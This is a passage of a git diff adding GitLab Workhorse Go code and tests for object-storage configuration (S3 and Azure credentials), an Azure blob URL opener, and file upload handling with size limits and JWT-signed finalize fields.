+ S3Credentials S3Credentials `toml:"s3"`
+ AzureCredentials AzureCredentials `toml:"azurerm"`
+}
+
+type ObjectStorageConfig struct {
+ URLMux *blob.URLMux `toml:"-"`
+}
+
+type S3Credentials struct {
+ AwsAccessKeyID string `toml:"aws_access_key_id"`
+ AwsSecretAccessKey string `toml:"aws_secret_access_key"`
+}
+
+type S3Config struct {
+ Region string `toml:"-"`
+ Bucket string `toml:"-"`
+ PathStyle bool `toml:"-"`
+ Endpoint string `toml:"-"`
+ UseIamProfile bool `toml:"-"`
+ ServerSideEncryption string `toml:"-"` // Server-side encryption mode (e.g. AES256, aws:kms)
+ SSEKMSKeyID string `toml:"-"` // Server-side encryption key-management service key ID (e.g. arn:aws:xxx)
+}
+
+type GoCloudConfig struct {
+ URL string `toml:"-"`
+}
+
+type AzureCredentials struct {
+ AccountName string `toml:"azure_storage_account_name"`
+ AccountKey string `toml:"azure_storage_access_key"`
+}
+
+type RedisConfig struct {
+ URL TomlURL
+ Sentinel []TomlURL
+ SentinelMaster string
+ Password string
+ DB *int
+ ReadTimeout *TomlDuration
+ WriteTimeout *TomlDuration
+ KeepAlivePeriod *TomlDuration
+ MaxIdle *int
+ MaxActive *int
+}
+
+type ImageResizerConfig struct {
+ MaxScalerProcs uint32 `toml:"max_scaler_procs"`
+ MaxFilesize uint64 `toml:"max_filesize"`
+}
+
+type Config struct {
+ Redis *RedisConfig `toml:"redis"`
+ Backend *url.URL `toml:"-"`
+ CableBackend *url.URL `toml:"-"`
+ Version string `toml:"-"`
+ DocumentRoot string `toml:"-"`
+ DevelopmentMode bool `toml:"-"`
+ Socket string `toml:"-"`
+ CableSocket string `toml:"-"`
+ ProxyHeadersTimeout time.Duration `toml:"-"`
+ APILimit uint `toml:"-"`
+ APIQueueLimit uint `toml:"-"`
+ APIQueueTimeout time.Duration `toml:"-"`
+ APICILongPollingDuration time.Duration `toml:"-"`
+ ObjectStorageConfig ObjectStorageConfig `toml:"-"`
+ ObjectStorageCredentials ObjectStorageCredentials `toml:"object_storage"`
+ PropagateCorrelationID bool `toml:"-"`
+ ImageResizerConfig ImageResizerConfig `toml:"image_resizer"`
+ AltDocumentRoot string `toml:"alt_document_root"`
+}
+
+var DefaultImageResizerConfig = ImageResizerConfig{
+ MaxScalerProcs: uint32(math.Max(2, float64(runtime.NumCPU())/2)),
+ MaxFilesize: 250 * 1000, // 250kB,
+}
+
+func LoadConfig(data string) (*Config, error) {
+ cfg := &Config{ImageResizerConfig: DefaultImageResizerConfig}
+
+ if _, err := toml.Decode(data, cfg); err != nil {
+ return nil, err
+ }
+
+ return cfg, nil
+}
+
+func (c *Config) RegisterGoCloudURLOpeners() error {
+ c.ObjectStorageConfig.URLMux = new(blob.URLMux)
+
+ creds := c.ObjectStorageCredentials
+ if strings.EqualFold(creds.Provider, "AzureRM") && creds.AzureCredentials.AccountName != "" && creds.AzureCredentials.AccountKey != "" {
+ accountName := azureblob.AccountName(creds.AzureCredentials.AccountName)
+ accountKey := azureblob.AccountKey(creds.AzureCredentials.AccountKey)
+
+ credential, err := azureblob.NewCredential(accountName, accountKey)
+ if err != nil {
+ log.WithError(err).Error("error creating Azure credentials")
+ return err
+ }
+
+ pipeline := azureblob.NewPipeline(credential, azblob.PipelineOptions{})
+
+ azureURLOpener := &azureURLOpener{
+ &azureblob.URLOpener{
+ AccountName: accountName,
+ Pipeline: pipeline,
+ Options: azureblob.Options{Credential: credential},
+ },
+ }
+
+ c.ObjectStorageConfig.URLMux.RegisterBucket(azureblob.Scheme, azureURLOpener)
+ }
+
+ return nil
+}
diff --git a/workhorse/internal/config/config_test.go b/workhorse/internal/config/config_test.go
new file mode 100644
index 00000000000..102b29a0813
--- /dev/null
+++ b/workhorse/internal/config/config_test.go
@@ -0,0 +1,111 @@
+package config
+
+import (
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+const azureConfig = `
+[object_storage]
+provider = "AzureRM"
+
+[object_storage.azurerm]
+azure_storage_account_name = "azuretester"
+azure_storage_access_key = "deadbeef"
+`
+
+func TestLoadEmptyConfig(t *testing.T) {
+ config := ``
+
+ cfg, err := LoadConfig(config)
+ require.NoError(t, err)
+
+ require.Empty(t, cfg.AltDocumentRoot)
+ require.Equal(t, cfg.ImageResizerConfig.MaxFilesize, uint64(250000))
+ require.GreaterOrEqual(t, cfg.ImageResizerConfig.MaxScalerProcs, uint32(2))
+
+ require.Equal(t, ObjectStorageCredentials{}, cfg.ObjectStorageCredentials)
+ require.NoError(t, cfg.RegisterGoCloudURLOpeners())
+}
+
+func TestLoadObjectStorageConfig(t *testing.T) {
+ config := `
+[object_storage]
+provider = "AWS"
+
+[object_storage.s3]
+aws_access_key_id = "minio"
+aws_secret_access_key = "gdk-minio"
+`
+
+ cfg, err := LoadConfig(config)
+ require.NoError(t, err)
+
+ require.NotNil(t, cfg.ObjectStorageCredentials, "Expected object storage credentials")
+
+ expected := ObjectStorageCredentials{
+ Provider: "AWS",
+ S3Credentials: S3Credentials{
+ AwsAccessKeyID: "minio",
+ AwsSecretAccessKey: "gdk-minio",
+ },
+ }
+
+ require.Equal(t, expected, cfg.ObjectStorageCredentials)
+}
+
+func TestRegisterGoCloudURLOpeners(t *testing.T) {
+ cfg, err := LoadConfig(azureConfig)
+ require.NoError(t, err)
+
+ require.NotNil(t, cfg.ObjectStorageCredentials, "Expected object storage credentials")
+
+ expected := ObjectStorageCredentials{
+ Provider: "AzureRM",
+ AzureCredentials: AzureCredentials{
+ AccountName: "azuretester",
+ AccountKey: "deadbeef",
+ },
+ }
+
+ require.Equal(t, expected, cfg.ObjectStorageCredentials)
+ require.Nil(t, cfg.ObjectStorageConfig.URLMux)
+
+ require.NoError(t, cfg.RegisterGoCloudURLOpeners())
+ require.NotNil(t, cfg.ObjectStorageConfig.URLMux)
+
+ require.True(t, cfg.ObjectStorageConfig.URLMux.ValidBucketScheme("azblob"))
+ require.Equal(t, []string{"azblob"}, cfg.ObjectStorageConfig.URLMux.BucketSchemes())
+}
+
+func TestLoadImageResizerConfig(t *testing.T) {
+ config := `
+[image_resizer]
+max_scaler_procs = 200
+max_filesize = 350000
+`
+
+ cfg, err := LoadConfig(config)
+ require.NoError(t, err)
+
+ require.NotNil(t, cfg.ImageResizerConfig, "Expected image resizer config")
+
+ expected := ImageResizerConfig{
+ MaxScalerProcs: 200,
+ MaxFilesize: 350000,
+ }
+
+ require.Equal(t, expected, cfg.ImageResizerConfig)
+}
+
+func TestAltDocumentConfig(t *testing.T) {
+ config := `
+alt_document_root = "/path/to/documents"
+`
+
+ cfg, err := LoadConfig(config)
+ require.NoError(t, err)
+
+ require.Equal(t, "/path/to/documents", cfg.AltDocumentRoot)
+}
diff --git a/workhorse/internal/config/url_openers.go b/workhorse/internal/config/url_openers.go
new file mode 100644
index 00000000000..d3c96ee9eef
--- /dev/null
+++ b/workhorse/internal/config/url_openers.go
@@ -0,0 +1,51 @@
+package config
+
+import (
+ "context"
+ "fmt"
+ "net/url"
+
+ "gocloud.dev/blob"
+ "gocloud.dev/blob/azureblob"
+)
+
+// This code can be removed once https://github.com/google/go-cloud/pull/2851 is merged.
+
+// URLOpener opens Azure URLs like "azblob://mybucket".
+//
+// The URL host is used as the bucket name.
+//
+// The following query options are supported:
+// - domain: The domain name used to access the Azure Blob storage (e.g. blob.core.windows.net)
+type azureURLOpener struct {
+ *azureblob.URLOpener
+}
+
+func (o *azureURLOpener) OpenBucketURL(ctx context.Context, u *url.URL) (*blob.Bucket, error) {
+ opts := new(azureblob.Options)
+ *opts = o.Options
+
+ err := setOptionsFromURLParams(u.Query(), opts)
+ if err != nil {
+ return nil, err
+ }
+ return azureblob.OpenBucket(ctx, o.Pipeline, o.AccountName, u.Host, opts)
+}
+
+func setOptionsFromURLParams(q url.Values, opts *azureblob.Options) error {
+ for param, values := range q {
+ if len(values) > 1 {
+ return fmt.Errorf("multiple values of %v not allowed", param)
+ }
+
+ value := values[0]
+ switch param {
+ case "domain":
+ opts.StorageDomain = azureblob.StorageDomain(value)
+ default:
+ return fmt.Errorf("unknown query parameter %q", param)
+ }
+ }
+
+ return nil
+}
diff --git a/workhorse/internal/config/url_openers_test.go b/workhorse/internal/config/url_openers_test.go
new file mode 100644
index 00000000000..6a851cacbb8
--- /dev/null
+++ b/workhorse/internal/config/url_openers_test.go
@@ -0,0 +1,117 @@
+package config
+
+import (
+ "context"
+ "net/url"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+ "gocloud.dev/blob/azureblob"
+)
+
+func TestURLOpeners(t *testing.T) {
+ cfg, err := LoadConfig(azureConfig)
+ require.NoError(t, err)
+
+ require.NotNil(t, cfg.ObjectStorageCredentials, "Expected object storage credentials")
+
+ require.NoError(t, cfg.RegisterGoCloudURLOpeners())
+ require.NotNil(t, cfg.ObjectStorageConfig.URLMux)
+
+ tests := []struct {
+ url string
+ valid bool
+ }{
+
+ {
+ url: "azblob://container/object",
+ valid: true,
+ },
+ {
+ url: "azblob://container/object?domain=core.windows.net",
+ valid: true,
+ },
+ {
+ url: "azblob://container/object?domain=core.windows.net&domain=test",
+ valid: false,
+ },
+ {
+ url: "azblob://container/object?param=value",
+ valid: false,
+ },
+ {
+ url: "s3://bucket/object",
+ valid: false,
+ },
+ }
+
+ for _, test := range tests {
+ t.Run(test.url, func(t *testing.T) {
+ ctx := context.Background()
+ url, err := url.Parse(test.url)
+ require.NoError(t, err)
+
+ bucket, err := cfg.ObjectStorageConfig.URLMux.OpenBucketURL(ctx, url)
+ if bucket != nil {
+ defer bucket.Close()
+ }
+
+ if test.valid {
+ require.NotNil(t, bucket)
+ require.NoError(t, err)
+ } else {
+ require.Error(t, err)
+ }
+ })
+ }
+}
+
+func TestTestURLOpenersForParams(t *testing.T) {
+ tests := []struct {
+ name string
+ currOpts azureblob.Options
+ query url.Values
+ wantOpts azureblob.Options
+ wantErr bool
+ }{
+ {
+ name: "InvalidParam",
+ query: url.Values{
+ "foo": {"bar"},
+ },
+ wantErr: true,
+ },
+ {
+ name: "StorageDomain",
+ query: url.Values{
+ "domain": {"blob.core.usgovcloudapi.net"},
+ },
+ wantOpts: azureblob.Options{StorageDomain: "blob.core.usgovcloudapi.net"},
+ },
+ {
+ name: "duplicate StorageDomain",
+ query: url.Values{
+ "domain": {"blob.core.usgovcloudapi.net", "blob.core.windows.net"},
+ },
+ wantErr: true,
+ },
+ }
+
+ for _, test := range tests {
+ t.Run(test.name, func(t *testing.T) {
+ o := &azureURLOpener{
+ URLOpener: &azureblob.URLOpener{
+ Options: test.currOpts,
+ },
+ }
+ err := setOptionsFromURLParams(test.query, &o.Options)
+
+ if test.wantErr {
+ require.NotNil(t, err)
+ } else {
+ require.Nil(t, err)
+ require.Equal(t, test.wantOpts, o.Options)
+ }
+ })
+ }
+}
diff --git a/workhorse/internal/filestore/file_handler.go b/workhorse/internal/filestore/file_handler.go
new file mode 100644
index 00000000000..19764e9a5cf
--- /dev/null
+++ b/workhorse/internal/filestore/file_handler.go
@@ -0,0 +1,257 @@
+package filestore
+
+import (
+ "context"
+ "errors"
+ "fmt"
+ "io"
+ "io/ioutil"
+ "os"
+ "strconv"
+ "time"
+
+ "github.com/dgrijalva/jwt-go"
+
+ "gitlab.com/gitlab-org/labkit/log"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/objectstore"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/secret"
+)
+
+type SizeError error
+
+// ErrEntityTooLarge means that the uploaded content is bigger then maximum allowed size
+var ErrEntityTooLarge = errors.New("entity is too large")
+
+// FileHandler represent a file that has been processed for upload
+// it may be either uploaded to an ObjectStore and/or saved on local path.
+type FileHandler struct {
+ // LocalPath is the path on the disk where file has been stored
+ LocalPath string
+
+ // RemoteID is the objectID provided by GitLab Rails
+ RemoteID string
+ // RemoteURL is ObjectStore URL provided by GitLab Rails
+ RemoteURL string
+
+ // Size is the persisted file size
+ Size int64
+
+ // Name is the resource name to send back to GitLab rails.
+ // It differ from the real file name in order to avoid file collisions
+ Name string
+
+ // a map containing different hashes
+ hashes map[string]string
+}
+
+type uploadClaims struct {
+ Upload map[string]string `json:"upload"`
+ jwt.StandardClaims
+}
+
+// SHA256 hash of the handled file
+func (fh *FileHandler) SHA256() string {
+ return fh.hashes["sha256"]
+}
+
+// MD5 hash of the handled file
+func (fh *FileHandler) MD5() string {
+ return fh.hashes["md5"]
+}
+
+// GitLabFinalizeFields returns a map with all the fields GitLab Rails needs in order to finalize the upload.
+func (fh *FileHandler) GitLabFinalizeFields(prefix string) (map[string]string, error) {
+ // TODO: remove `data` these once rails fully and exclusively support `signedData` (https://gitlab.com/gitlab-org/gitlab-workhorse/-/issues/263)
+ data := make(map[string]string)
+ signedData := make(map[string]string)
+ key := func(field string) string {
+ if prefix == "" {
+ return field
+ }
+
+ return fmt.Sprintf("%s.%s", prefix, field)
+ }
+
+ for k, v := range map[string]string{
+ "name": fh.Name,
+ "path": fh.LocalPath,
+ "remote_url": fh.RemoteURL,
+ "remote_id": fh.RemoteID,
+ "size": strconv.FormatInt(fh.Size, 10),
+ } {
+ data[key(k)] = v
+ signedData[k] = v
+ }
+
+ for hashName, hash := range fh.hashes {
+ data[key(hashName)] = hash
+ signedData[hashName] = hash
+ }
+
+ claims := uploadClaims{Upload: signedData, StandardClaims: secret.DefaultClaims}
+ jwtData, err := secret.JWTTokenString(claims)
+ if err != nil {
+ return nil, err
+ }
+ data[key("gitlab-workhorse-upload")] = jwtData
+
+ return data, nil
+}
+
+type consumer interface {
+ Consume(context.Context, io.Reader, time.Time) (int64, error)
+}
+
+// SaveFileFromReader persists the provided reader content to all the location specified in opts. A cleanup will be performed once ctx is Done
+// Make sure the provided context will not expire before finalizing upload with GitLab Rails.
+func SaveFileFromReader(ctx context.Context, reader io.Reader, size int64, opts *SaveFileOpts) (fh *FileHandler, err error) {
+ var uploadDestination consumer
+ fh = &FileHandler{
+ Name: opts.TempFilePrefix,
+ RemoteID: opts.RemoteID,
+ RemoteURL: opts.RemoteURL,
+ }
+ hashes := newMultiHash()
+ reader = io.TeeReader(reader, hashes.Writer)
+
+ var clientMode string
+
+ switch {
+ case opts.IsLocal():
+ clientMode = "local"
+ uploadDestination, err = fh.uploadLocalFile(ctx, opts)
+ case opts.UseWorkhorseClientEnabled() && opts.ObjectStorageConfig.IsGoCloud():
+ clientMode = fmt.Sprintf("go_cloud:%s", opts.ObjectStorageConfig.Provider)
+ p := &objectstore.GoCloudObjectParams{
+ Ctx: ctx,
+ Mux: opts.ObjectStorageConfig.URLMux,
+ BucketURL: opts.ObjectStorageConfig.GoCloudConfig.URL,
+ ObjectName: opts.RemoteTempObjectID,
+ }
+ uploadDestination, err = objectstore.NewGoCloudObject(p)
+ case opts.UseWorkhorseClientEnabled() && opts.ObjectStorageConfig.IsAWS() && opts.ObjectStorageConfig.IsValid():
+ clientMode = "s3"
+ uploadDestination, err = objectstore.NewS3Object(
+ opts.RemoteTempObjectID,
+ opts.ObjectStorageConfig.S3Credentials,
+ opts.ObjectStorageConfig.S3Config,
+ )
+ case opts.IsMultipart():
+ clientMode = "multipart"
+ uploadDestination, err = objectstore.NewMultipart(
+ opts.PresignedParts,
+ opts.PresignedCompleteMultipart,
+ opts.PresignedAbortMultipart,
+ opts.PresignedDelete,
+ opts.PutHeaders,
+ opts.PartSize,
+ )
+ default:
+ clientMode = "http"
+ uploadDestination, err = objectstore.NewObject(
+ opts.PresignedPut,
+ opts.PresignedDelete,
+ opts.PutHeaders,
+ size,
+ )
+ }
+
+ if err != nil {
+ return nil, err
+ }
+
+ if opts.MaximumSize > 0 {
+ if size > opts.MaximumSize {
+ return nil, SizeError(fmt.Errorf("the upload size %d is over maximum of %d bytes", size, opts.MaximumSize))
+ }
+
+ hlr := &hardLimitReader{r: reader, n: opts.MaximumSize}
+ reader = hlr
+ defer func() {
+ if hlr.n < 0 {
+ err = ErrEntityTooLarge
+ }
+ }()
+ }
+
+ fh.Size, err = uploadDestination.Consume(ctx, reader, opts.Deadline)
+ if err != nil {
+ if err == objectstore.ErrNotEnoughParts {
+ err = ErrEntityTooLarge
+ }
+ return nil, err
+ }
+
+ if size != -1 && size != fh.Size {
+ return nil, SizeError(fmt.Errorf("expected %d bytes but got only %d", size, fh.Size))
+ }
+
+ logger := log.WithContextFields(ctx, log.Fields{
+ "copied_bytes": fh.Size,
+ "is_local": opts.IsLocal(),
+ "is_multipart": opts.IsMultipart(),
+ "is_remote": !opts.IsLocal(),
+ "remote_id": opts.RemoteID,
+ "temp_file_prefix": opts.TempFilePrefix,
+ "client_mode": clientMode,
+ })
+
+ if opts.IsLocal() {
+ logger = logger.WithField("local_temp_path", opts.LocalTempPath)
+ } else {
+ logger = logger.WithField("remote_temp_object", opts.RemoteTempObjectID)
+ }
+
+ logger.Info("saved file")
+ fh.hashes = hashes.finish()
+ return fh, nil
+}
+
+func (fh *FileHandler) uploadLocalFile(ctx context.Context, opts *SaveFileOpts) (consumer, error) {
+ // make sure TempFolder exists
+ err := os.MkdirAll(opts.LocalTempPath, 0700)
+ if err != nil {
+ return nil, fmt.Errorf("uploadLocalFile: mkdir %q: %v", opts.LocalTempPath, err)
+ }
+
+ file, err := ioutil.TempFile(opts.LocalTempPath, opts.TempFilePrefix)
+ if err != nil {
+ return nil, fmt.Errorf("uploadLocalFile: create file: %v", err)
+ }
+
+ go func() {
+ <-ctx.Done()
+ os.Remove(file.Name())
+ }()
+
+ fh.LocalPath = file.Name()
+ return &localUpload{file}, nil
+}
+
+type localUpload struct{ io.WriteCloser }
+
+func (loc *localUpload) Consume(_ context.Context, r io.Reader, _ time.Time) (int64, error) {
+ n, err := io.Copy(loc.WriteCloser, r)
+ errClose := loc.Close()
+ if err == nil {
+ err = errClose
+ }
+ return n, err
+}
+
+// SaveFileFromDisk open the local file fileName and calls SaveFileFromReader
+func SaveFileFromDisk(ctx context.Context, fileName string, opts *SaveFileOpts) (fh *FileHandler, err error) {
+ file, err := os.Open(fileName)
+ if err != nil {
+ return nil, err
+ }
+ defer file.Close()
+
+ fi, err := file.Stat()
+ if err != nil {
+ return nil, err
+ }
+
+ return SaveFileFromReader(ctx, file, fi.Size(), opts)
+}
diff --git a/workhorse/internal/filestore/file_handler_test.go b/workhorse/internal/filestore/file_handler_test.go
new file mode 100644
index 00000000000..e79e9d0f292
--- /dev/null
+++ b/workhorse/internal/filestore/file_handler_test.go
@@ -0,0 +1,551 @@
+package filestore_test
+
+import (
+ "context"
+ "errors"
+ "fmt"
+ "io/ioutil"
+ "os"
+ "path"
+ "strconv"
+ "strings"
+ "testing"
+ "time"
+
+ "github.com/dgrijalva/jwt-go"
+ "github.com/stretchr/testify/require"
+ "gocloud.dev/blob"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/config"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/filestore"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/objectstore/test"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/testhelper"
+)
+
+func testDeadline() time.Time {
+ return time.Now().Add(filestore.DefaultObjectStoreTimeout)
+}
+
+func requireFileGetsRemovedAsync(t *testing.T, filePath string) {
+ var err error
+
+ // Poll because the file removal is async
+ for i := 0; i < 100; i++ {
+ _, err = os.Stat(filePath)
+ if err != nil {
+ break
+ }
+ time.Sleep(100 * time.Millisecond)
+ }
+
+ require.True(t, os.IsNotExist(err), "File hasn't been deleted during cleanup")
+}
+
+func requireObjectStoreDeletedAsync(t *testing.T, expectedDeletes int, osStub *test.ObjectstoreStub) {
+ // Poll because the object removal is async
+ for i := 0; i < 100; i++ {
+ if osStub.DeletesCnt() == expectedDeletes {
+ break
+ }
+ time.Sleep(10 * time.Millisecond)
+ }
+
+ require.Equal(t, expectedDeletes, osStub.DeletesCnt(), "Object not deleted")
+}
+
+func TestSaveFileWrongSize(t *testing.T) {
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ tmpFolder, err := ioutil.TempDir("", "workhorse-test-tmp")
+ require.NoError(t, err)
+ defer os.RemoveAll(tmpFolder)
+
+ opts := &filestore.SaveFileOpts{LocalTempPath: tmpFolder, TempFilePrefix: "test-file"}
+ fh, err := filestore.SaveFileFromReader(ctx, strings.NewReader(test.ObjectContent), test.ObjectSize+1, opts)
+ require.Error(t, err)
+ _, isSizeError := err.(filestore.SizeError)
+ require.True(t, isSizeError, "Should fail with SizeError")
+ require.Nil(t, fh)
+}
+
+func TestSaveFileWithKnownSizeExceedLimit(t *testing.T) {
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ tmpFolder, err := ioutil.TempDir("", "workhorse-test-tmp")
+ require.NoError(t, err)
+ defer os.RemoveAll(tmpFolder)
+
+ opts := &filestore.SaveFileOpts{LocalTempPath: tmpFolder, TempFilePrefix: "test-file", MaximumSize: test.ObjectSize - 1}
+ fh, err := filestore.SaveFileFromReader(ctx, strings.NewReader(test.ObjectContent), test.ObjectSize, opts)
+ require.Error(t, err)
+ _, isSizeError := err.(filestore.SizeError)
+ require.True(t, isSizeError, "Should fail with SizeError")
+ require.Nil(t, fh)
+}
+
+func TestSaveFileWithUnknownSizeExceedLimit(t *testing.T) {
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ tmpFolder, err := ioutil.TempDir("", "workhorse-test-tmp")
+ require.NoError(t, err)
+ defer os.RemoveAll(tmpFolder)
+
+ opts := &filestore.SaveFileOpts{LocalTempPath: tmpFolder, TempFilePrefix: "test-file", MaximumSize: test.ObjectSize - 1}
+ fh, err := filestore.SaveFileFromReader(ctx, strings.NewReader(test.ObjectContent), -1, opts)
+ require.Equal(t, err, filestore.ErrEntityTooLarge)
+ require.Nil(t, fh)
+}
+
+func TestSaveFromDiskNotExistingFile(t *testing.T) {
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+ fh, err := filestore.SaveFileFromDisk(ctx, "/I/do/not/exist", &filestore.SaveFileOpts{})
+ require.Error(t, err, "SaveFileFromDisk should fail")
+ require.True(t, os.IsNotExist(err), "Provided file should not exists")
+ require.Nil(t, fh, "On error FileHandler should be nil")
+}
+
+func TestSaveFileWrongETag(t *testing.T) {
+ tests := []struct {
+ name string
+ multipart bool
+ }{
+ {name: "single part"},
+ {name: "multi part", multipart: true},
+ }
+
+ for _, spec := range tests {
+ t.Run(spec.name, func(t *testing.T) {
+ osStub, ts := test.StartObjectStoreWithCustomMD5(map[string]string{test.ObjectPath: "brokenMD5"})
+ defer ts.Close()
+
+ objectURL := ts.URL + test.ObjectPath
+
+ opts := &filestore.SaveFileOpts{
+ RemoteID: "test-file",
+ RemoteURL: objectURL,
+ PresignedPut: objectURL + "?Signature=ASignature",
+ PresignedDelete: objectURL + "?Signature=AnotherSignature",
+ Deadline: testDeadline(),
+ }
+ if spec.multipart {
+ opts.PresignedParts = []string{objectURL + "?partNumber=1"}
+ opts.PresignedCompleteMultipart = objectURL + "?Signature=CompleteSig"
+ opts.PresignedAbortMultipart = objectURL + "?Signature=AbortSig"
+ opts.PartSize = test.ObjectSize
+
+ osStub.InitiateMultipartUpload(test.ObjectPath)
+ }
+ ctx, cancel := context.WithCancel(context.Background())
+ fh, err := filestore.SaveFileFromReader(ctx, strings.NewReader(test.ObjectContent), test.ObjectSize, opts)
+ require.Nil(t, fh)
+ require.Error(t, err)
+ require.Equal(t, 1, osStub.PutsCnt(), "File not uploaded")
+
+ cancel() // this will trigger an async cleanup
+ requireObjectStoreDeletedAsync(t, 1, osStub)
+ require.False(t, spec.multipart && osStub.IsMultipartUpload(test.ObjectPath), "there must be no multipart upload in progress now")
+ })
+ }
+}
+
+func TestSaveFileFromDiskToLocalPath(t *testing.T) {
+ f, err := ioutil.TempFile("", "workhorse-test")
+ require.NoError(t, err)
+ defer os.Remove(f.Name())
+
+ _, err = fmt.Fprint(f, test.ObjectContent)
+ require.NoError(t, err)
+
+ tmpFolder, err := ioutil.TempDir("", "workhorse-test-tmp")
+ require.NoError(t, err)
+ defer os.RemoveAll(tmpFolder)
+
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ opts := &filestore.SaveFileOpts{LocalTempPath: tmpFolder}
+ fh, err := filestore.SaveFileFromDisk(ctx, f.Name(), opts)
+ require.NoError(t, err)
+ require.NotNil(t, fh)
+
+ require.NotEmpty(t, fh.LocalPath, "File not persisted on disk")
+ _, err = os.Stat(fh.LocalPath)
+ require.NoError(t, err)
+}
+
+func TestSaveFile(t *testing.T) {
+ testhelper.ConfigureSecret()
+
+ type remote int
+ const (
+ notRemote remote = iota
+ remoteSingle
+ remoteMultipart
+ )
+
+ tmpFolder, err := ioutil.TempDir("", "workhorse-test-tmp")
+ require.NoError(t, err)
+ defer os.RemoveAll(tmpFolder)
+
+ tests := []struct {
+ name string
+ local bool
+ remote remote
+ }{
+ {name: "Local only", local: true},
+ {name: "Remote Single only", remote: remoteSingle},
+ {name: "Remote Multipart only", remote: remoteMultipart},
+ }
+
+ for _, spec := range tests {
+ t.Run(spec.name, func(t *testing.T) {
+ var opts filestore.SaveFileOpts
+ var expectedDeletes, expectedPuts int
+
+ osStub, ts := test.StartObjectStore()
+ defer ts.Close()
+
+ switch spec.remote {
+ case remoteSingle:
+ objectURL := ts.URL + test.ObjectPath
+
+ opts.RemoteID = "test-file"
+ opts.RemoteURL = objectURL
+ opts.PresignedPut = objectURL + "?Signature=ASignature"
+ opts.PresignedDelete = objectURL + "?Signature=AnotherSignature"
+ opts.Deadline = testDeadline()
+
+ expectedDeletes = 1
+ expectedPuts = 1
+ case remoteMultipart:
+ objectURL := ts.URL + test.ObjectPath
+
+ opts.RemoteID = "test-file"
+ opts.RemoteURL = objectURL
+ opts.PresignedDelete = objectURL + "?Signature=AnotherSignature"
+ opts.PartSize = int64(len(test.ObjectContent)/2) + 1
+ opts.PresignedParts = []string{objectURL + "?partNumber=1", objectURL + "?partNumber=2"}
+ opts.PresignedCompleteMultipart = objectURL + "?Signature=CompleteSignature"
+ opts.Deadline = testDeadline()
+
+ osStub.InitiateMultipartUpload(test.ObjectPath)
+ expectedDeletes = 1
+ expectedPuts = 2
+ }
+
+ if spec.local {
+ opts.LocalTempPath = tmpFolder
+ opts.TempFilePrefix = "test-file"
+ }
+
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ fh, err := filestore.SaveFileFromReader(ctx, strings.NewReader(test.ObjectContent), test.ObjectSize, &opts)
+ require.NoError(t, err)
+ require.NotNil(t, fh)
+
+ require.Equal(t, opts.RemoteID, fh.RemoteID)
+ require.Equal(t, opts.RemoteURL, fh.RemoteURL)
+
+ if spec.local {
+ require.NotEmpty(t, fh.LocalPath, "File not persisted on disk")
+ _, err := os.Stat(fh.LocalPath)
+ require.NoError(t, err)
+
+ dir := path.Dir(fh.LocalPath)
+ require.Equal(t, opts.LocalTempPath, dir)
+ filename := path.Base(fh.LocalPath)
+ beginsWithPrefix := strings.HasPrefix(filename, opts.TempFilePrefix)
+ require.True(t, beginsWithPrefix, fmt.Sprintf("LocalPath filename %q do not begin with TempFilePrefix %q", filename, opts.TempFilePrefix))
+ } else {
+ require.Empty(t, fh.LocalPath, "LocalPath must be empty for non local uploads")
+ }
+
+ require.Equal(t, test.ObjectSize, fh.Size)
+ require.Equal(t, test.ObjectMD5, fh.MD5())
+ require.Equal(t, test.ObjectSHA256, fh.SHA256())
+
+ require.Equal(t, expectedPuts, osStub.PutsCnt(), "ObjectStore PutObject count mismatch")
+ require.Equal(t, 0, osStub.DeletesCnt(), "File deleted too early")
+
+ cancel() // this will trigger an async cleanup
+ requireObjectStoreDeletedAsync(t, expectedDeletes, osStub)
+ requireFileGetsRemovedAsync(t, fh.LocalPath)
+
+ // checking generated fields
+ fields, err := fh.GitLabFinalizeFields("file")
+ require.NoError(t, err)
+
+ checkFileHandlerWithFields(t, fh, fields, "file")
+
+ token, jwtErr := jwt.ParseWithClaims(fields["file.gitlab-workhorse-upload"], &testhelper.UploadClaims{}, testhelper.ParseJWT)
+ require.NoError(t, jwtErr)
+
+ uploadFields := token.Claims.(*testhelper.UploadClaims).Upload
+
+ checkFileHandlerWithFields(t, fh, uploadFields, "")
+ })
+ }
+}
+
+func TestSaveFileWithS3WorkhorseClient(t *testing.T) {
+ tests := []struct {
+ name string
+ objectSize int64
+ maxSize int64
+ expectedErr error
+ }{
+ {
+ name: "known size with no limit",
+ objectSize: test.ObjectSize,
+ },
+ {
+ name: "unknown size with no limit",
+ objectSize: -1,
+ },
+ {
+ name: "unknown object size with limit",
+ objectSize: -1,
+ maxSize: test.ObjectSize - 1,
+ expectedErr: filestore.ErrEntityTooLarge,
+ },
+ }
+
+ for _, tc := range tests {
+ t.Run(tc.name, func(t *testing.T) {
+
+ s3Creds, s3Config, sess, ts := test.SetupS3(t, "")
+ defer ts.Close()
+
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ remoteObject := "tmp/test-file/1"
+ opts := filestore.SaveFileOpts{
+ RemoteID: "test-file",
+ Deadline: testDeadline(),
+ UseWorkhorseClient: true,
+ RemoteTempObjectID: remoteObject,
+ ObjectStorageConfig: filestore.ObjectStorageConfig{
+ Provider: "AWS",
+ S3Credentials: s3Creds,
+ S3Config: s3Config,
+ },
+ MaximumSize: tc.maxSize,
+ }
+
+ _, err := filestore.SaveFileFromReader(ctx, strings.NewReader(test.ObjectContent), tc.objectSize, &opts)
+
+ if tc.expectedErr == nil {
+ require.NoError(t, err)
+ test.S3ObjectExists(t, sess, s3Config, remoteObject, test.ObjectContent)
+ } else {
+ require.Equal(t, tc.expectedErr, err)
+ test.S3ObjectDoesNotExist(t, sess, s3Config, remoteObject)
+ }
+ })
+ }
+}
+
